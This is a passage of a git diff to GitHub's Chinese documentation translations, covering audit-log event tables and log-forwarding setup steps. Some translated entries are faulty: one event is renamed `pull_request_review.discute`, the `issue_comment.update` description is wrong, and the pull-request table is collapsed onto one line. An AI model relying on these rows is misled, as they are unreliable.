-`business.clear_members_can_create_repos` | A site admin clears a restriction on repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% ifversion ghes > 3.1 %}
-`business.referrer_override_enable` | A site admin enables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."
-`business.referrer_override_disable` | A site admin disables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."{% endif %}
-`business.update_member_repository_creation_permission` | A site admin restricts repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% ifversion ghes %}
-`enterprise.config.lock_anonymous_git_access`   | A site admin locks anonymous Git read access to prevent repository admins from changing existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)."
-`enterprise.config.unlock_anonymous_git_access` | A site admin unlocks anonymous Git read access to allow repository admins to change existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)."{% endif %}
+| 操作                                                      | 描述                                                                                                                                                                                                                                                      |
+| ------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion ghes > 3.0 or ghae %}
+| `business.advanced_security_policy_update`              | 站点管理员创建、更新或删除 {% data variables.product.prodname_GH_advanced_security %} 策略。 更多信息请参阅“[在企业中执行 {% data variables.product.prodname_advanced_security %} 的策略](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)”。{% endif %}
+| `business.clear_members_can_create_repos`               | 站点管理员取消了对在企业中的组织中创建仓库的限制。 更多信息请参阅“[在企业中实施仓库管理策略](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)”。{% ifversion ghes > 3.1 %}
+| `business.referrer_override_enable`                     | 站点管理员可以改写推荐策略。 更多信息请参阅“[配置企业的推荐策略](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)”。                                                                                                              |
+| `business.referrer_override_disable`                    | 站点管理员可以禁用推荐策略。 更多信息请参阅“[配置企业的推荐策略](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)”。{% endif %}
+| `business.update_member_repository_creation_permission` | 站点管理员限制在企业中的组织中创建仓库。 更多信息请参阅“[在企业中实施仓库管理策略](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)”。{% ifversion ghes %}
+| `enterprise.config.lock_anonymous_git_access`           | 站点管理员锁定匿名 Git 读取权限，以防止仓库管理员更改该企业中仓库的现有匿名 Git 读取权限设置。 更多信息请参阅“[在企业中实施仓库管理策略](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)”。                                                        |
+| `enterprise.config.unlock_anonymous_git_access`         | 站点管理员解锁匿名 Git 读取权限，以允许仓库管理员更改该企业中仓库的现有匿名 Git 读取权限设置。 更多信息请参阅“[在企业中实施仓库管理策略](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)”。{% endif %}
 
 {% ifversion ghae %}
 
-## IP allow lists
+## IP 允许列表
 
-Name                                 | Description
-------------------------------------:| -----------------------------------------------------------
-`ip_allow_list_entry.create`         | An IP address was added to an IP allow list.
-`ip_allow_list_entry.update`         | An IP address or its description was changed.
-`ip_allow_list_entry.destroy`        | An IP address was deleted from an IP allow list.
-`ip_allow_list.enable`               | An IP allow list was enabled.
-`ip_allow_list.enable_for_installed_apps` | An IP allow list was enabled for installed {% data variables.product.prodname_github_apps %}.
-`ip_allow_list.disable`              | An IP allow list was disabled.
-`ip_allow_list.disable_for_installed_apps` | An IP allow list was disabled for installed {% data variables.product.prodname_github_apps %}.
+|                                         名称 | 描述                                                                    |
+| ------------------------------------------:| --------------------------------------------------------------------- |
+|               `ip_allow_list_entry.create` | IP 地址已添加到 IP 允许列表中。                                                   |
+|               `ip_allow_list_entry.update` | IP 地址或描述已更改。                                                          |
+|              `ip_allow_list_entry.destroy` | IP 地址已从 IP 允许列表中删除。                                                   |
+|                     `ip_allow_list.enable` | IP 允许列表已启用。                                                           |
+|  `ip_allow_list.enable_for_installed_apps` | 已为安装的 {% data variables.product.prodname_github_apps %} 启用 IP 允许列表。 |
+|                    `ip_allow_list.disable` | IP 允许列表已禁用。                                                           |
+| `ip_allow_list.disable_for_installed_apps` | 已为安装的 {% data variables.product.prodname_github_apps %} 禁用 IP 允许列表。 |
 
 {% endif %}
 
-## Issues
+## 议题
 
-Action                               | Description
------------------------------------- | -----------------------------------------------------------
-`issue.update`                       | An issue's body text (initial comment) changed.
-`issue_comment.update`               | A comment on an issue (other than the initial one) changed.
-`issue.destroy`                      | An issue was deleted from the repository. For more information, see "[Deleting an issue](/github/managing-your-work-on-github/deleting-an-issue)."
+| 操作                     | 描述                                                                                  |
+| ---------------------- | ----------------------------------------------------------------------------------- |
+| `issue.update`         | 问题的正文文本（初始注释）已更改。                                                                   |
+| `issue_comment.update` | 已更改问题的正文文本（初始注释）。                                                                   |
+| `issue.destroy`        | 已从仓库中删除问题。 更多信息请参阅“[删除议题](/github/managing-your-work-on-github/deleting-an-issue)”。 |
 
-## Organizations
+## 组织
 
-Action             | Description
------------------- | ----------------------------------------------------------
-`org.async_delete` | A user initiated a background job to delete an organization.
-`org.delete`       | An organization was deleted by a user-initiated background job.{% ifversion not ghae %}
-`org.transform`    | A user account was converted into an organization. For more information, see "[Converting a user into an organization](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)."{% endif %}
+| 操作                 | 描述                                                                                                                                           |
+| ------------------ | -------------------------------------------------------------------------------------------------------------------------------------------- |
+| `org.async_delete` | 用户发起了删除组织的后台作业。                                                                                                                              |
+| `org.delete`       | 用户发起的背景作业删除了组织。{% ifversion not ghae %}
+| `org.transform`    | 已将用户帐户转换为组织。 更多信息请参阅“[将用户转换为组织](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)”{% endif %}
 
-## Pull requests
+## 拉取请求
 
-| Action | Description |
-| :- | :- |{% ifversion ghes > 3.1 or ghae %}
-| `pull_request.create` | A pull request was created. For more information, see "[Creating a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)." |
-| `pull_request.close` | A pull request was closed without being merged. For more information, see "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)." |
-| `pull_request.reopen` | A pull request was reopened after previously being closed. |
-| `pull_request.merge` | A pull request was merged. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)." |
-| `pull_request.indirect_merge` | A pull request was considered merged because the pull request's commits were merged into the target branch. |
-| `pull_request.ready_for_review` | A pull request was marked as ready for review. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)." |
-| `pull_request.converted_to_draft` | A pull request was converted to a draft. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)." |
-| `pull_request.create_review_request` | A review was requested on a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." |
-| `pull_request.remove_review_request` | A review request was removed from a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." |
-| `pull_request_review.submit` | A review was submitted for a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." |
-| `pull_request_review.dismiss` | A review on a pull request was dismissed. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." |
-| `pull_request_review.delete` | A review on a pull request was deleted. |
-| `pull_request_review_comment.create` | A review comment was added to a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." |
-| `pull_request_review_comment.update` | A review comment on a pull request was changed. |{% endif %}
-| `pull_request_review_comment.delete` | A review comment on a pull request was deleted. |
+| 操作 | 描述n | | :- | :- |{% ifversion ghes > 3.1 or ghae %} | `pull_request.create` | 创建了拉取请求。 更多信息请参阅“[创建拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)”。 | | `pull_request.close` | 关闭了拉取请求而未合并。 更多信息请参阅“[关闭拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)”。 | | `pull_request.reopen` | 重新打开了之前关闭的拉取请求。 | | `pull_request.merge` | 合并了拉取请求。 更多信息请参阅“[合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)”。 | | `pull_request.indirect_merge` | 考虑合并拉取请求，因为拉取请求的提交已合并到目标分支。 | | `pull_request.ready_for_review` | 拉取请求标记为可供审查。 更多信息请参阅“[更改拉取请求的阶段](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)”。 | | `pull_request.converted_to_draft` | 拉取请求转换为草稿。 更多信息请参阅“[更改拉取请求的阶段](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)”。 | | `pull_request.create_review_request` | 请求对拉取请求的审查。 更多信息请参阅“[关于拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)”。 | | `pull_request.remove_review_request` | 从拉取请求删除审查请求。 更多信息请参阅“[关于拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)”。 | | `pull_request_review.submit` | 为拉取请求提交审查。 更多信息请参阅“[关于拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)”。 | | `pull_request_review.discute` | 撤销对拉取请求的审查。 更多信息请参阅“[忽略拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)”。 | | `pull_request_review.delete` | 删除对拉取请求的审查。 | | `pull_request_review_comment.create` | 审查评论添加到拉取请求。 更多信息请参阅“[关于拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)”。 | | `pull_request_review_comment.update` | 更改拉取请求上的审查评论。 |{% endif %} | `pull_request_review_comment.delete` | 删除了拉取请求上的审查评论。 |
 
-## Protected branches
+## 受保护分支
 
-Action                     | Description
--------------------------- | ----------------------------------------------------------
-`protected_branch.create ` | Branch protection is enabled on a branch.
-`protected_branch.destroy` | Branch protection is disabled on a branch.
-`protected_branch.update_admin_enforced `            | Branch protection is enforced for repository administrators.
-`protected_branch.update_require_code_owner_review ` | Enforcement of required code owner review is updated on a branch.
-`protected_branch.dismiss_stale_reviews `   | Enforcement of dismissing stale pull requests is updated on a branch.
-`protected_branch.update_signature_requirement_enforcement_level `    | Enforcement of required commit signing is updated on a branch.
-`protected_branch.update_pull_request_reviews_enforcement_level `     | Enforcement of required pull request reviews is updated on a branch.
-`protected_branch.update_required_status_checks_enforcement_level `   | Enforcement of required status checks is updated on a branch.
-`protected_branch.rejected_ref_update `     | A branch update attempt is rejected.
-`protected_branch.policy_override `         | A branch protection requirement is overridden by a repository administrator.
+| 操作                                                                 | 描述                                                                                    |
+| ------------------------------------------------------------------ | ------------------------------------------------------------------------------------- |
+| `protected_branch.create`                                          | 已在分支上启用分支保护。                                                                          |
+| `protected_branch.destroy`                                         | 已在分支上禁用分支保护。                                                                          |
+| `protected_branch.update_admin_enforced`                           | 已为仓库管理员强制执行分支保护。                                                                      |
+| `protected_branch.update_require_code_owner_review`                | 已在分支上更新必需代码所有者审查的强制执行。                                                                |
+| `protected_branch.dismiss_stale_reviews`                           | 已在分支上更新忽略旧拉取请求的强制执行。                                                                  |
+| `protected_branch.update_signature_requirement_enforcement_level`  | 已在分支上更新必需提交签名的强制执行。                                                                   |
+| `protected_branch.update_pull_request_reviews_enforcement_level`   | 已在分支上更新必需拉取请求审查的强制执行。 Can be one of `0`(deactivated), `1`(non-admins), `2`(everyone). |
+| `protected_branch.update_required_status_checks_enforcement_level` | 已在分支上更新必需状态检查的强制执行。                                                                   |
+| `protected_branch.rejected_ref_update`                             | 分支更新尝试被拒。                                                                             |
+| `protected_branch.policy_override`                                 | 分支保护要求被仓库管理员覆盖。                                                                       |
 
-## Repositories
+## 仓库
 
-Action                | Description
---------------------- | -------------------------------------------------------
-`repo.access`         | The visibility of a repository changed to private{% ifversion ghes %}, public,{% endif %} or internal.
-`repo.archived`       | A repository was archived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)."
-`repo.add_member`     | A collaborator was added to a repository.
-`repo.config`         | A site admin blocked force pushes. For more information, see [Blocking force pushes to a repository](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) to a repository.
-`repo.create`         | A repository was created.
-`repo.destroy`        | A repository was deleted.
-`repo.remove_member`  | A collaborator was removed from a repository.
-`repo.rename`         | A repository was renamed.
-`repo.transfer`       | A user accepted a request to receive a transferred repository.
-`repo.transfer_start` | A user sent a request to transfer a repository to another user or organization.
-`repo.unarchived`     | A repository was unarchived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)."{% ifversion ghes %}
-`repo.config.disable_anonymous_git_access`| Anonymous Git read access is disabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."
-`repo.config.enable_anonymous_git_access` | Anonymous Git read access is enabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."
-`repo.config.lock_anonymous_git_access` | A repository's anonymous Git read access setting is locked, preventing repository administrators from changing (enabling or disabling) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."
-`repo.config.unlock_anonymous_git_access` | A repository's anonymous Git read access setting is unlocked, allowing repository administrators to change (enable or disable) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."{% endif %}
+| 操作                                         | 描述                                                                                                                                                                                                        |
+| ------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `repo.access`                              | 仓库的可见性已更改为私有{% ifversion ghes %}、公共{% endif %} 或内部。                                                                                                                                                       |
+| `repo.archived`                            | 已存档仓库。 更多信息请参阅“[存档 {% data variables.product.prodname_dotcom %} 仓库](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)”。                                                  |
+| `repo.add_member`                          | 已向仓库添加协作者。                                                                                                                                                                                                |
+| `repo.config`                              | 站点管理员已阻止强制推送。 更多信息请参阅“[阻止对仓库进行强制推送](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/)”。                                                            |
+| `repo.create`                              | 已创建仓库。                                                                                                                                                                                                    |
+| `repo.destroy`                             | 已删除仓库。                                                                                                                                                                                                    |
+| `repo.remove_member`                       | 已从仓库中移除协作者。                                                                                                                                                                                               |
+| `repo.rename`                              | 已重命名仓库。                                                                                                                                                                                                   |
+| `repo.transfer`                            | 用户已接受接收传输仓库的请求。                                                                                                                                                                                           |
+| `repo.transfer_start`                      | 用户已发送向另一用户或组织传输仓库的请求。                                                                                                                                                                                     |
+| `repo.unarchived`                          | 已取消存档仓库。 更多信息请参阅“[存档 {% data variables.product.prodname_dotcom %} 仓库](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)”。{% ifversion ghes %}
+| `repo.config.disable_anonymous_git_access` | 已为仓库禁用匿名 Git 读取权限。 更多信息请参阅“[为仓库启用匿名 Git 读取权限](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)。”                                                       |
+| `repo.config.enable_anonymous_git_access`  | 已为仓库启用匿名 Git 读取权限。 更多信息请参阅“[为仓库启用匿名 Git 读取权限](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)。”                                                       |
+| `repo.config.lock_anonymous_git_access`    | 已锁定仓库的匿名 Git 读取权限设置，阻止仓库管理员更改（启用或禁用）此设置。 更多信息请参阅“[阻止用户更改匿名 Git 读取权限](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)”。            |
+| `repo.config.unlock_anonymous_git_access`  | 已解锁仓库的匿名 Git 读取权限设置，允许仓库管理员更改（启用或禁用）此设置。 更多信息请参阅“[阻止用户更改匿名 Git 读取权限](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)”。{% endif %}
 
-## Site admin tools
+## 站点管理员工具
 
-Action                        | Description
------------------------------ | -----------------------------------------------
-`staff.disable_repo`          | A site admin disabled access to a repository and all of its forks.
-`staff.enable_repo`           | A site admin re-enabled access to a repository and all of its forks.{% ifversion ghes > 3.2 %}
-`staff.exit_fake_login`       | A site admin ended an impersonation session on {% data variables.product.product_name %}.
-`staff.fake_login`            | A site admin signed into {% data variables.product.product_name %} as another user.{% endif %}
-`staff.repo_unlock`           | A site admin unlocked (temporarily gained full access to) one of a user's private repositories.
-`staff.unlock`                | A site admin unlocked (temporarily gained full access to) all of a user's private repositories.
+| 操作                      | 描述                                                                                             |
+| ----------------------- | ---------------------------------------------------------------------------------------------- |
+| `staff.disable_repo`    | 站点管理员已禁用对仓库及其所有复刻的访问。                                                                          |
+| `staff.enable_repo`     | A site admin re-enabled access to a repository and all of its forks.{% ifversion ghes > 3.2 %}
+| `staff.exit_fake_login` | A site admin ended an impersonation session on {% data variables.product.product_name %}.      |
+| `staff.fake_login`      | A site admin signed into {% data variables.product.product_name %} as another user.{% endif %}
+| `staff.repo_unlock`     | 站点管理员已解锁（临时获得完全访问权限）用户的一个私有仓库。                                                                 |
+| `staff.unlock`          | 站点管理员已解锁（临时获得完全访问权限）用户的所有私有仓库。                                                                 |
 
-## Teams
+## 团队
 
-Action                            | Description
---------------------------------- | -------------------------------------------
-`team.create`                     | A user account or repository was added to a team.
-`team.delete`                     | A user account or repository was removed from a team.{% ifversion ghes or ghae %}
-`team.demote_maintainer`          | A user was demoted from a team maintainer to a team member.{% endif %}
-`team.destroy`                    | A team was deleted.{% ifversion ghes or ghae %}
-`team.promote_maintainer`         | A user was promoted from a team member to a team maintainer.{% endif %}
+| 操作                        | 描述                                                                                |
+| ------------------------- | --------------------------------------------------------------------------------- |
+| `team.create`             | 已向团队添加用户帐户或仓库。                                                                    |
+| `team.delete`             | A user account or repository was removed from a team.{% ifversion ghes or ghae %}
+| `team.demote_maintainer`  | 用户从团队维护员降级为团队成员。{% endif %}
+| `team.destroy`            | 团队被删除。{% ifversion ghes or ghae %}
+| `team.promote_maintainer` | 用户从团队成员晋升为团队维护员。{% endif %}
 
-## Users
+## 用户
 
-Action                            | Description
---------------------------------- | -------------------------------------------
-`user.add_email`                  | An email address was added to a user account.
-`user.async_delete`               | An asynchronous job was started to destroy a user account, eventually triggering `user.delete`.{% ifversion ghes %}
-`user.change_password`            | A user changed his or her password.{% endif %}
-`user.create`                     | A new user account was created.
-`user.delete`                     | A user account was destroyed by an asynchronous job.
-`user.demote`                     | A site admin was demoted to an ordinary user account.
-`user.destroy`                    | A user deleted his or her account, triggering `user.async_delete`.{% ifversion ghes %}
-`user.failed_login`               | A user tried to sign in with an incorrect username, password, or two-factor authentication code.
-`user.forgot_password`            | A user requested a password reset via the sign-in page.{% endif %}
-`user.login`                      | A user signed in.{% ifversion ghes or ghae %}
-`user.mandatory_message_viewed`   | A user views a mandatory message (see "[Customizing user messages](/admin/user-management/customizing-user-messages-for-your-enterprise)" for details) | {% endif %}
-`user.promote`                    | An ordinary user account was promoted to a site admin.
-`user.remove_email`               | An email address was removed from a user account.
-`user.rename`                     | A username was changed.
-`user.suspend`                    | A user account was suspended by a site admin.{% ifversion ghes %}
-`user.two_factor_requested`       | A user was prompted for a two-factor authentication code.{% endif %}
-`user.unsuspend`                  | A user account was unsuspended by a site admin.
+| 操作                              | 描述                                                                                                            |
+| ------------------------------- | ------------------------------------------------------------------------------------------------------------- |
+| `user.add_email`                | 已向用户帐户添加电子邮件地址。                                                                                               |
+| `user.async_delete`             | 异步作业已开始破坏用户帐户，最终触发 `user.delete`。{% ifversion ghes %}
+| `user.change_password`          | 用户已更改其密码。{% endif %}
+| `user.create`                   | 已创建新的用户帐户。                                                                                                    |
+| `user.delete`                   | 已通过异步作业销毁用户帐户。                                                                                                |
+| `user.demote`                   | 已将站点管理员降级为普通用户帐户。                                                                                             |
+| `user.destroy`                  | 用户已删除其帐户，触发 `user.async_delete`。{% ifversion ghes %}
+| `user.failed_login`             | 用户尝试登录时使用的用户名、密码或双重身份验证码不正确。                                                                                  |
+| `user.forgot_password`          | 用户通过登录页面请求了密码重置。{% endif %}
+| `user.login`                    | 用户已登录。{% ifversion ghes or ghae %}
+| `user.mandatory_message_viewed` | 用户查看必读消息（详情请参阅“[自定义用户消息](/admin/user-management/customizing-user-messages-for-your-enterprise)”）| {% endif %}
+| `user.promote`                  | 已将普通用户帐户升级为站点管理员。                                                                                             |
+| `user.remove_email`             | 已从用户帐户中移除电子邮件地址。                                                                                              |
+| `user.rename`                   | 已更改用户名。                                                                                                       |
+| `user.suspend`                  | 用户帐户被站点管理员暂停。{% ifversion ghes %}
+| `user.two_factor_requested`     | 已提示用户输入双重身份验证码。{% endif %}
+| `user.unsuspend`                | 站点管理员已取消挂起用户帐户。                                                                                               |
 
 {% ifversion ghes > 3.1 or ghae %}
-## Workflows
+## 工作流程
 
 {% data reusables.actions.actions-audit-events-workflow %}
 {% endif %}
+
+  [add key]: /articles/adding-a-new-ssh-key-to-your-github-account
+  [部署密钥]: /guides/managing-deploy-keys/#deploy-keys
+  [generate token]: /articles/creating-an-access-token-for-command-line-use
+  [OAuth 访问令牌]: /developers/apps/authorizing-oauth-apps
+  [OAuth 应用程序]: /guides/basics-of-authentication/#registering-your-app
+  [2fa]: /articles/about-two-factor-authentication
diff --git a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md
index 7f6e8c800e..95d72c25a4 100644
--- a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md
+++ b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md
@@ -1,6 +1,6 @@
 ---
-title: Log forwarding
-intro: '{% data variables.product.product_name %} uses `syslog-ng` to forward {% ifversion ghes %}system{% elsif ghae %}Git{% endif %} and application logs to the server you specify.'
+title: 日志转发
+intro: '{% data variables.product.product_name %} 使用 `syslog-ng` 将 {% ifversion ghes %}系统{% elsif ghae %}Git{% endif %} 和应用程序日志转发到您指定的服务器。'
 redirect_from:
   - /enterprise/admin/articles/log-forwarding
   - /enterprise/admin/installation/log-forwarding
@@ -20,40 +20,33 @@ topics:
 
 ## About log forwarding
 
-Any log collection system that supports syslog-style log streams is supported (e.g., [Logstash](http://logstash.net/) and [Splunk](http://docs.splunk.com/Documentation/Splunk/latest/Data/Monitornetworkports)).
+支持使用任何支持 syslog-style 日志流的日志收集系统（例如 [Logstash](http://logstash.net/) 和 [Splunk](http://docs.splunk.com/Documentation/Splunk/latest/Data/Monitornetworkports)）。
 
 When you enable log forwarding, you must upload a CA certificate to encrypt communications between syslog endpoints. Your appliance and the remote syslog server will perform two-way SSL, each providing a certificate to the other and validating the certificate which is received.
 
-## Enabling log forwarding
+## 启用日志转发
 
 {% ifversion ghes %}
-1. On the {% data variables.enterprise.management_console %} settings page, in the left sidebar, click **Monitoring**.
-1. Select **Enable log forwarding**.
-1. In the **Server address** field, type the address of the server to which you want to forward logs. You can specify multiple addresses in a comma-separated list.
-1. In the Protocol drop-down menu, select the protocol to use to communicate with the log server. The protocol will apply to all specified log destinations.
-1. Optionally, select **Enable TLS**. We recommend enabling TLS according to your local security policies, especially if there are untrusted networks between the appliance and any remote log servers. 
-1. To encrypt communication between syslog endpoints, click **Choose File** and choose a CA certificate for the remote syslog server. You should upload a CA bundle containing a concatenation of the certificates of the CAs involved in signing the certificate of the remote log server. The entire certificate chain will be validated, and must terminate in a root certificate. For more information, see [TLS options in the syslog-ng documentation](https://support.oneidentity.com/technical-documents/syslog-ng-open-source-edition/3.16/administration-guide/56#TOPIC-956599).
+1. 在 {% data variables.enterprise.management_console %} 设置页面的左侧边栏中，单击 **Monitoring**。
+1. 选择 **Enable log forwarding**。
+1. 在 **Server address** 字段中，输入要将日志转发到的服务器的地址。 您可以在以逗号分隔的列表中指定多个地址。
+1. 在 Protocol 下拉菜单中，选择用于与日志服务器通信的协议。 该协议将应用到所有指定的日志目标。
+1. Optionally, select **Enable TLS**. We recommend enabling TLS according to your local security policies, especially if there are untrusted networks between the appliance and any remote log servers.
+1. To encrypt communication between syslog endpoints, click **Choose File** and choose a CA certificate for the remote syslog server. You should upload a CA bundle containing a concatenation of the certificates of the CAs involved in signing the certificate of the remote log server. 将对整个证书链进行验证，且证书链必须以根证书结束。 更多信息请参阅 [syslog-ng 文档中的 TLS 选项](https://support.oneidentity.com/technical-documents/syslog-ng-open-source-edition/3.16/administration-guide/56#TOPIC-956599)。
 {% elsif ghae %}
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
-1. Under {% octicon "gear" aria-label="The Settings gear" %} **Settings**, click **Log forwarding**.
-  ![Log forwarding tab](/assets/images/enterprise/business-accounts/log-forwarding-tab.png)
-1. Under "Log forwarding", select **Enable log forwarding**.
-  ![Checkbox to enable log forwarding](/assets/images/enterprise/business-accounts/enable-log-forwarding-checkbox.png)
-1. Under "Server address", enter the address of the server you want to forward logs to.
-  ![Server address field](/assets/images/enterprise/business-accounts/server-address-field.png)
-1. Use the "Protocol" drop-down menu, and select a protocol.
-  ![Protocol drop-down menu](/assets/images/enterprise/business-accounts/protocol-drop-down-menu.png)
-1. Optionally, to enable TLS encrypted communication between syslog endpoints, select **Enable TLS**.
-  ![Checkbox to enable TLS](/assets/images/enterprise/business-accounts/enable-tls-checkbox.png)
-1. Under "Public certificate", paste your x509 certificate.
-  ![Text box for public certificate](/assets/images/enterprise/business-accounts/public-certificate-text-box.png)
-1. Click **Save**.
-  ![Save button for log forwarding](/assets/images/enterprise/business-accounts/save-button-log-forwarding.png)
+1. 在 {% octicon "gear" aria-label="The Settings gear" %} **Settings（设置）**下，单击 **Log forwarding（日志转发）**。 ![日志转发选项卡](/assets/images/enterprise/business-accounts/log-forwarding-tab.png)
+1. 在“Log forwarding（日志转发）”下，选择 **Enable log forwarding（启用日志转发）**。 ![启用日志转发的复选框](/assets/images/enterprise/business-accounts/enable-log-forwarding-checkbox.png)
+1. 在“Server address（服务器地址）”下，输入您想要日志转发到的服务器地址。 ![服务器地址字段](/assets/images/enterprise/business-accounts/server-address-field.png)
+1. 使用“Protocol（协议）”下拉菜单选择一个协议。 ![协议下拉菜单](/assets/images/enterprise/business-accounts/protocol-drop-down-menu.png)
+1. （可选）要在系统日志端点之间的训用 TLS 加密通信，请选择 **Enable TLS（启用 TLS）**。 ![启用 TLS 的复选框](/assets/images/enterprise/business-accounts/enable-tls-checkbox.png)
+1. 在“Public certificate（公共证书）”下，粘贴您的 x509 证书。 ![公共证书文本框](/assets/images/enterprise/business-accounts/public-certificate-text-box.png)
+1. 单击 **Save（保存）**。 ![用于日志转发的 Save（保存）按钮](/assets/images/enterprise/business-accounts/save-button-log-forwarding.png)
 {% endif %}
 
 {% ifversion ghes %}
-## Troubleshooting
+## 疑难解答
 
-If you run into issues with log forwarding, contact {% data variables.contact.contact_ent_support %} and attach the output file from `http(s)://[hostname]/setup/diagnostics` to your email.
+如果您遇到日志转发方面的问题，请联系 {% data variables.contact.contact_ent_support %} 并在您的电子邮件中附上 `http(s)://[hostname]/setup/diagnostics` 的输出文件。
 {% endif %}
diff --git a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md
index 589354bd37..5b1ac3ed64 100644
--- a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md
+++ b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md
@@ -1,5 +1,5 @@
 ---
-title: Managing global webhooks
+title: 管理全局 web 挂钩
